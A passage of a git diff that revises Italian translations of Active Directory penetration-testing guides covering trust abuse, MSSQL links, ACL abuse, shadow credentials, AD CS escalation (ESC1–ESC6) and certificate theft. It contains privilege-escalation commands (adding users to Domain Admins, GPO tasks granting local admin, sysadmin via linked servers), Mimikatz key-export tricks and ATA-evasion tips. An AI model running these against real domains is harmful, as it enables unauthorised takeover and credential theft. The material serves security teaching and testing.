foresta +### Escalation di privilegi da Figlio a Genitore nella foresta ``` Get-DomainTrust @@ -608,7 +608,7 @@ La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infras Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). -### Dominio Forestale Esterno - Unidirezionale (In entrata) o bidirezionale +### Dominio Foresta Esterno - Unidirezionale (In entrata) o bidirezionale ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso su quale dominio esterno** e poi cercare di sfruttarlo: +In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso a quale dominio esterno** e poi cercare di sfruttarlo: {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### Dominio Forestale Esterno - Unidirezionale (In uscita) +### Dominio della Foresta Esterno - Unidirezionale (In uscita) ```powershell Get-DomainTrust -Domain current.local @@ -647,7 +647,7 @@ external-forest-domain-one-way-outbound.md Un altro modo per compromettere il dominio fidato è trovare un [**link SQL fidato**](abusing-ad-mssql.md#mssql-trusted-links) creato nella **direzione opposta** della fiducia del dominio (che non è molto comune). -Un altro modo per compromettere il dominio fidato è aspettare su una macchina dove un **utente del dominio fidato può accedere** per effettuare il login tramite **RDP**. Poi, l'attaccante potrebbe iniettare codice nel processo della sessione RDP e **accedere al dominio di origine della vittima** da lì.\ +Un altro modo per compromettere il dominio fidato è aspettare su una macchina a cui un **utente del dominio fidato può accedere** per effettuare il login tramite **RDP**. Poi, l'attaccante potrebbe iniettare codice nel processo della sessione RDP e **accedere al dominio di origine della vittima** da lì.\ Inoltre, se la **vittima ha montato il suo hard disk**, dal processo della **sessione RDP** l'attaccante potrebbe memorizzare **backdoor** nella **cartella di avvio dell'hard disk**. Questa tecnica è chiamata **RDPInception.** {{#ref}} @@ -663,7 +663,7 @@ rdp-sessions-abuse.md ### **Autenticazione Selettiva:** -- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite per gli utenti per accedere ai domini e ai server all'interno del dominio o della foresta fidante. +- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite affinché gli utenti accedano ai domini e ai server all'interno del dominio o della foresta fidante. - È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione scrivibile (NC) o attacchi all'account di fiducia. [**Ulteriori informazioni sulle fiducie di dominio in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) @@ -695,10 +695,10 @@ rdp-sessions-abuse.md ### **Evitare i Sistemi di Rilevamento** -- **Bypass della Rilevazione Microsoft ATA**: -- **Enumerazione Utente**: Evitare l'enumerazione delle sessioni sui Controller di Dominio per prevenire la rilevazione ATA. +- **Bypass della Rilevazione di Microsoft ATA**: +- **Enumerazione degli Utenti**: Evitare l'enumerazione delle sessioni sui Controller di Dominio per prevenire la rilevazione da parte di ATA. - **Impersonificazione del Ticket**: Utilizzare chiavi **aes** per la creazione di ticket aiuta a evitare la rilevazione non degradando a NTLM. -- **Attacchi DCSync**: È consigliato eseguire da un non-Controller di Dominio per evitare la rilevazione ATA, poiché l'esecuzione diretta da un Controller di Dominio attiverà avvisi. +- **Attacchi DCSync**: È consigliato eseguire da un non Controller di Dominio per evitare la rilevazione da parte di ATA, poiché l'esecuzione diretta da un Controller di Dominio attiverà avvisi. ## Riferimenti diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index 04c8b351c..bc21055ea 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -7,7 +7,7 @@ ### Python -Lo strumento [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) è basato su impacket e consente anche di autenticarsi utilizzando ticket kerberos e attaccare tramite catene di collegamento. +Lo strumento [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) è basato su impacket e consente anche di autenticarsi utilizzando ticket kerberos e attaccare attraverso catene di link.
```shell @@ -228,7 +228,7 @@ Eseguire query tramite il link (esempio: trova più link nella nuova istanza acc select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` > [!WARNING] -> Controlla dove vengono utilizzate le virgolette doppie e singole, è importante usarle in quel modo. +> Controlla dove vengono utilizzate le virgolette doppie e singole, è importante usarle in questo modo. ![](<../../images/image (643).png>) @@ -254,7 +254,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT L'**utente locale MSSQL** di solito ha un tipo speciale di privilegio chiamato **`SeImpersonatePrivilege`**. Questo consente all'account di "impersonare un client dopo l'autenticazione". -Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle che l'attaccante crea. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi. +Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle creato dall'attaccante. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi. [SweetPotato](https://github.com/CCob/SweetPotato) ha una raccolta di queste varie tecniche che possono essere eseguite tramite il comando `execute-assembly` di Beacon. diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index bc362ab2c..4bbd5105a 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -4,7 +4,7 @@ **Questa pagina è principalmente un riepilogo delle tecniche da** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Per ulteriori dettagli, controlla gli articoli originali.** -## **Diritti GenericAll su un Utente** +## **Diritti GenericAll su Utente** Questo privilegio concede a un attaccante il pieno controllo su un account utente target. Una volta confermati i diritti `GenericAll` utilizzando il comando `Get-ObjectAcl`, un attaccante può: @@ -44,9 +44,9 @@ Se un utente ha diritti `WriteProperty` su tutti gli oggetti per un gruppo speci ```powershell net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **Self (Auto-Membership) su Gruppo** +## **Self (Self-Membership) on Group** -Questo privilegio consente agli attaccanti di aggiungersi a gruppi specifici, come `Domain Admins`, attraverso comandi che manipolano direttamente l'appartenenza al gruppo. Utilizzando la seguente sequenza di comandi è possibile l'auto-aggiunta: +Questo privilegio consente agli attaccanti di aggiungersi a gruppi specifici, come `Domain Admins`, attraverso comandi che manipolano direttamente l'appartenenza ai gruppi. Utilizzando la seguente sequenza di comandi è possibile aggiungersi: ```powershell net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` @@ -106,7 +106,7 @@ $ADSI.psbase.commitchanges() ``` ## **Replica sul Dominio (DCSync)** -L'attacco DCSync sfrutta specifici permessi di replica sul dominio per mimare un Domain Controller e sincronizzare dati, inclusi le credenziali degli utenti. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, consentendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Scopri di più sull'attacco DCSync qui.**](../dcsync.md) +L'attacco DCSync sfrutta specifici permessi di replica sul dominio per mimare un Domain Controller e sincronizzare i dati, inclusi le credenziali degli utenti. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, consentendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Scopri di più sull'attacco DCSync qui.**](../dcsync.md) ## Delegazione GPO @@ -130,7 +130,7 @@ I GPO mal configurati possono essere sfruttati per eseguire codice, ad esempio, ```powershell New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` -### GroupPolicy module - Abuse GPO +### GroupPolicy module - Abuso di GPO Il modulo GroupPolicy, se installato, consente la creazione e il collegamento di nuovi GPO, e la configurazione di preferenze come valori di registro per eseguire backdoor sui computer interessati. Questo metodo richiede che il GPO venga aggiornato e che un utente acceda al computer per l'esecuzione: ```powershell diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md index 53923bf6d..2c15233ae 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md @@ -51,9 +51,9 @@ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target ``` ### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/) -ShadowSpray mira a **sfruttare i permessi GenericWrite/GenericAll che ampi gruppi di utenti possono avere sugli oggetti di dominio** per applicare ShadowCredentials in modo ampio. Comporta il login nel dominio, la verifica del livello funzionale del dominio, l'enumerazione degli oggetti di dominio e il tentativo di aggiungere KeyCredentials per l'acquisizione del TGT e la rivelazione dell'hash NT. Le opzioni di pulizia e le tattiche di sfruttamento ricorsivo ne aumentano l'utilità. +ShadowSpray mira a **sfruttare i permessi GenericWrite/GenericAll che ampi gruppi di utenti possono avere sugli oggetti di dominio** per applicare ShadowCredentials in modo ampio. Comporta il login nel dominio, la verifica del livello funzionale del dominio, l'enumerazione degli oggetti di dominio e il tentativo di aggiungere KeyCredentials per l'acquisizione del TGT e la rivelazione dell'hash NT. Opzioni di pulizia e tattiche di sfruttamento ricorsivo ne aumentano l'utilità. -## Riferimenti +## References - [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) - [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index b64d6abeb..da6f01158 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -39,15 +39,15 @@ AD CS riconosce i certificati CA in un bosco AD attraverso contenitori designati ### Modelli di Certificato -Definiti all'interno di AD, questi modelli delineano le impostazioni e i permessi per l'emissione dei certificati, inclusi EKU consentiti e diritti di iscrizione o modifica, critici per gestire l'accesso ai servizi di certificato. +Definiti all'interno di AD, questi modelli delineano le impostazioni e i permessi per l'emissione dei certificati, inclusi EKU consentiti e diritti di registrazione o modifica, critici per gestire l'accesso ai servizi di certificato. -## Iscrizione al Certificato +## Registrazione del Certificato -Il processo di iscrizione per i certificati è avviato da un amministratore che **crea un modello di certificato**, che viene poi **pubblicato** da un'Autorità di Certificazione (CA) aziendale. Questo rende il modello disponibile per l'iscrizione del client, un passaggio ottenuto aggiungendo il nome del modello al campo `certificatetemplates` di un oggetto Active Directory. +Il processo di registrazione per i certificati è avviato da un amministratore che **crea un modello di certificato**, che viene poi **pubblicato** da un'Autorità di Certificazione (CA) aziendale. Questo rende il modello disponibile per la registrazione del client, un passaggio ottenuto aggiungendo il nome del modello al campo `certificatetemplates` di un oggetto Active Directory. -Per un client per richiedere un certificato, devono essere concessi **diritti di iscrizione**. Questi diritti sono definiti da descrittori di sicurezza sul modello di certificato e sulla CA aziendale stessa. I permessi devono essere concessi in entrambe le posizioni affinché una richiesta abbia successo. +Per un client per richiedere un certificato, devono essere concessi **diritti di registrazione**. Questi diritti sono definiti da descrittori di sicurezza sul modello di certificato e sulla CA aziendale stessa. I permessi devono essere concessi in entrambe le posizioni affinché una richiesta abbia successo. -### Diritti di Iscrizione del Modello +### Diritti di Registrazione del Modello Questi diritti sono specificati attraverso Access Control Entries (ACEs), dettagliando permessi come: @@ -55,7 +55,7 @@ Questi diritti sono specificati attraverso Access Control Entries (ACEs), dettag - **ExtendedRights**, che consentono tutti i permessi estesi. - **FullControl/GenericAll**, fornendo il controllo completo sul modello. -### Diritti di Iscrizione della CA Aziendale +### Diritti di Registrazione della CA Aziendale I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi ridotti l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza. @@ -64,16 +64,16 @@ I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile Possono applicarsi controlli specifici, come: - **Approvazione del Manager**: pone le richieste in uno stato di attesa fino all'approvazione da parte di un manager di certificati. -- **Agenti di Iscrizione e Firme Autorizzate**: specificano il numero di firme richieste su un CSR e i necessari OIDs di Politica Applicativa. +- **Agenti di Registrazione e Firme Autorizzate**: specificano il numero di firme richieste su un CSR e i necessari OIDs di Politica Applicativa. ### Metodi per Richiedere Certificati I certificati possono essere richiesti tramite: 1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilizzando interfacce DCOM. -2. **ICertPassage Remote Protocol** (MS-ICPR), tramite pipe nominate o TCP/IP. -3. L'**interfaccia web di iscrizione ai certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato. -4. Il **Certificate Enrollment Service** (CES), in congiunzione con il servizio di Politica di Iscrizione ai Certificati (CEP). +2. **ICertPassage Remote Protocol** (MS-ICPR), attraverso pipe nominate o TCP/IP. +3. L'**interfaccia web di registrazione dei certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato. +4. Il **Certificate Enrollment Service** (CES), in congiunzione con il servizio di Politica di Registrazione dei Certificati (CEP). 5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, utilizzando il Simple Certificate Enrollment Protocol (SCEP). Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia GUI (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell). @@ -87,7 +87,7 @@ Active Directory (AD) supporta l'autenticazione con certificato, utilizzando pri ### Processo di Autenticazione Kerberos -Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità** del certificato, il **percorso** e lo **stato di revoca**. Le validazioni includono anche la verifica che il certificato provenga da una fonte affidabile e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in: +Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità**, il **percorso** e lo **stato di revoca** del certificato. Le validazioni includono anche la verifica che il certificato provenga da una fonte fidata e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index ec7bac4f4..fd42af9de 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -19,9 +19,9 @@ ### Considerazioni Speciali -- **Subject Alternative Names (SANs)** espandono l'applicabilità di un certificato a più identità, cruciale per server con più domini. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di attaccanti che manipolano la specifica SAN. +- I **Subject Alternative Names (SANs)** espandono l'applicabilità di un certificato a più identità, cruciale per i server con più domini. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di attaccanti che manipolano la specifica SAN. -### Autorità di Certificazione (CAs) in Active Directory (AD) +### Autorità di Certificazione (CA) in Active Directory (AD) AD CS riconosce i certificati CA in un bosco AD attraverso contenitori designati, ognuno con ruoli unici: @@ -39,7 +39,7 @@ AD CS riconosce i certificati CA in un bosco AD attraverso contenitori designati ### Modelli di Certificato -Definiti all'interno di AD, questi modelli delineano le impostazioni e i permessi per l'emissione dei certificati, inclusi EKUs consentiti e diritti di registrazione o modifica, critici per gestire l'accesso ai servizi di certificato. +Definiti all'interno di AD, questi modelli delineano le impostazioni e i permessi per l'emissione dei certificati, inclusi EKU consentiti e diritti di registrazione o modifica, critici per gestire l'accesso ai servizi di certificato. ## Registrazione del Certificato diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index cd5064cd5..e8083ab16 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -20,21 +20,21 @@ certutil.exe -dump -v cert.pfx ``` ## Esportazione dei certificati utilizzando le Crypto API – THEFT1 -In una **sessione desktop interattiva**, estrarre un certificato utente o macchina, insieme alla chiave privata, può essere facilmente fatto, particolarmente se la **chiave privata è esportabile**. Questo può essere realizzato navigando al certificato in `certmgr.msc`, facendo clic destro su di esso e selezionando `All Tasks → Export` per generare un file .pfx protetto da password. +In una **sessione desktop interattiva**, estrarre un certificato utente o macchina, insieme alla chiave privata, può essere facilmente fatto, in particolare se la **chiave privata è esportabile**. Questo può essere realizzato navigando al certificato in `certmgr.msc`, facendo clic destro su di esso e selezionando `All Tasks → Export` per generare un file .pfx protetto da password. -Per un **approccio programmatico**, sono disponibili strumenti come il cmdlet PowerShell `ExportPfxCertificate` o progetti come [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Questi utilizzano la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) per interagire con il negozio di certificati. Queste API forniscono una gamma di servizi crittografici, inclusi quelli necessari per la memorizzazione e l'autenticazione dei certificati. +Per un **approccio programmatico**, sono disponibili strumenti come il cmdlet PowerShell `ExportPfxCertificate` o progetti come [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Questi utilizzano le **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) per interagire con il negozio di certificati. Queste API forniscono una gamma di servizi crittografici, inclusi quelli necessari per la memorizzazione e l'autenticazione dei certificati. Tuttavia, se una chiave privata è impostata come non esportabile, sia CAPI che CNG normalmente bloccheranno l'estrazione di tali certificati. Per bypassare questa restrizione, possono essere impiegati strumenti come **Mimikatz**. Mimikatz offre comandi `crypto::capi` e `crypto::cng` per patchare le rispettive API, consentendo l'esportazione delle chiavi private. In particolare, `crypto::capi` patcha il CAPI all'interno del processo corrente, mentre `crypto::cng` mira alla memoria di **lsass.exe** per la patch. ## Furto di certificati utente tramite DPAPI – THEFT2 -Maggiori informazioni su DPAPI in: +Ulteriori informazioni su DPAPI in: {{#ref}} ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md {{#endref}} -In Windows, **le chiavi private dei certificati sono protette da DPAPI**. È fondamentale riconoscere che le **posizioni di archiviazione per le chiavi private utente e macchina** sono distinte, e le strutture dei file variano a seconda dell'API crittografica utilizzata dal sistema operativo. **SharpDPAPI** è uno strumento che può navigare automaticamente queste differenze durante la decrittazione dei blob DPAPI. +In Windows, **le chiavi private dei certificati sono protette da DPAPI**. È fondamentale riconoscere che le **posizioni di archiviazione per le chiavi private utente e macchina** sono distinte e le strutture dei file variano a seconda dell'API crittografica utilizzata dal sistema operativo. **SharpDPAPI** è uno strumento che può navigare automaticamente queste differenze durante la decrittazione dei blob DPAPI. I **certificati utente** sono prevalentemente ospitati nel registro sotto `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, ma alcuni possono anche essere trovati nella directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Le corrispondenti **chiavi private** per questi certificati sono tipicamente memorizzate in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` per le chiavi **CAPI** e `%APPDATA%\Microsoft\Crypto\Keys\` per le chiavi **CNG**. @@ -70,7 +70,7 @@ La decrittografia manuale può essere ottenuta eseguendo il comando `lsadump::se ## Trovare File di Certificati – THEFT4 -I certificati si trovano a volte direttamente all'interno del filesystem, come nelle condivisioni di file o nella cartella Download. I tipi di file di certificati più comunemente incontrati mirati verso ambienti Windows sono i file `.pfx` e `.p12`. Anche se meno frequentemente, appaiono anche file con estensioni `.pkcs12` e `.pem`. Ulteriori estensioni di file relative ai certificati degne di nota includono: +I certificati si trovano a volte direttamente all'interno del filesystem, come nelle condivisioni di file o nella cartella Download. I tipi di file di certificati più comunemente incontrati mirati agli ambienti Windows sono i file `.pfx` e `.p12`. Anche se meno frequentemente, appaiono anche file con estensioni `.pkcs12` e `.pem`. Ulteriori estensioni di file relative ai certificati degne di nota includono: - `.key` per chiavi private, - `.crt`/`.cer` per certificati solo, diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 3f8873e1b..14e71f6b9 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -21,14 +21,14 @@ - **I modelli di certificato sono configurati per definire EKU che facilitano l'autenticazione:** - Identificatori di Extended Key Usage (EKU) come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi. - **La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal modello:** -- L'Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente. +- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, può essere richiesto un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente. > [!CAUTION] > La configurazione delineata consente agli utenti a bassa privilegio di richiedere certificati con qualsiasi SAN a scelta, abilitando l'autenticazione come qualsiasi principale di dominio tramite Kerberos o SChannel. Questa funzionalità è talvolta abilitata per supportare la generazione al volo di certificati HTTPS o di host da parte di prodotti o servizi di distribuzione, o a causa di una mancanza di comprensione. -Si nota che la creazione di un certificato con questa opzione attiva un avviso, il che non avviene quando un modello di certificato esistente (come il modello `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione. +Si nota che la creazione di un certificato con questa opzione attiva un avviso, il che non accade quando un modello di certificato esistente (come il modello `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) viene duplicato e poi modificato per includere un OID di autenticazione. ### Abuso @@ -75,31 +75,31 @@ Per enumerare i modelli che corrispondono a questo scenario all'interno dello sc ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Modelli di Agente di Registrazione Malconfigurati - ESC3 +## Modelli di Agente di Iscrizione Malconfigurati - ESC3 ### Spiegazione Questo scenario è simile al primo e al secondo, ma **abusa** di un **EKU** (Agente di Richiesta di Certificato) **diverso** e **2 modelli** diversi (pertanto ha 2 set di requisiti), -L'**EKU di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione Microsoft, consente a un principale di **registrarsi** per un **certificato** per **conto di un altro utente**. +L'**EKU di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Iscrizione** nella documentazione Microsoft, consente a un principale di **iscriversi** per un **certificato** per **conto di un altro utente**. -L'**“agente di registrazione”** si registra in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, registrandosi in un **modello** che **permette “registrarsi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**. +L'**“agente di iscrizione”** si iscrive in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, iscrivendosi in un **modello** che **permette “iscriversi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**. **Requisiti 1:** -- I diritti di registrazione sono concessi a utenti a basso privilegio dall'Enterprise CA. +- I diritti di iscrizione sono concessi a utenti a bassa privilegiatura dall'Enterprise CA. - Il requisito per l'approvazione del manager è omesso. - Nessun requisito per firme autorizzate. -- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso privilegio. +- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di iscrizione a utenti a bassa privilegiatura. - Il modello di certificato include l'EKU di Richiesta di Certificato, consentendo la richiesta di altri modelli di certificato per conto di altri principali. **Requisiti 2:** -- L'Enterprise CA concede diritti di registrazione a utenti a basso privilegio. +- L'Enterprise CA concede diritti di iscrizione a utenti a bassa privilegiatura. - L'approvazione del manager è elusa. - La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Richiesta di Certificato. - Un EKU definito nel modello di certificato consente l'autenticazione del dominio. -- Le restrizioni per gli agenti di registrazione non sono applicate sull'CA. +- Le restrizioni per gli agenti di iscrizione non sono applicate sull'CA. ### Abuso @@ -143,7 +143,7 @@ Un esempio di privesc come il precedente:
-ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1. +ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per rendere il modello vulnerabile a ESC1. Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge a `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima. ```bash @@ -252,7 +252,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Spiegazione > [!WARNING] -> Nell'**attacco precedente** i permessi **`Manage CA`** sono stati utilizzati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**attacco ESC6**, ma questo non avrà alcun effetto fino a quando il servizio CA (`CertSvc`) non verrà riavviato. Quando un utente ha il diritto di accesso **`Manage CA`**, l'utente è anche autorizzato a **riavviare il servizio**. Tuttavia, **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, l'**ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022. +> Nel **precedente attacco** i permessi **`Manage CA`** sono stati utilizzati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**attacco ESC6**, ma questo non avrà alcun effetto fino a quando il servizio CA (`CertSvc`) non verrà riavviato. Quando un utente ha il diritto di accesso **`Manage CA`**, l'utente è anche autorizzato a **riavviare il servizio**. Tuttavia, **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, l'**ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022. Pertanto, un altro attacco è presentato qui. @@ -262,7 +262,7 @@ Prerequisiti: - Permesso 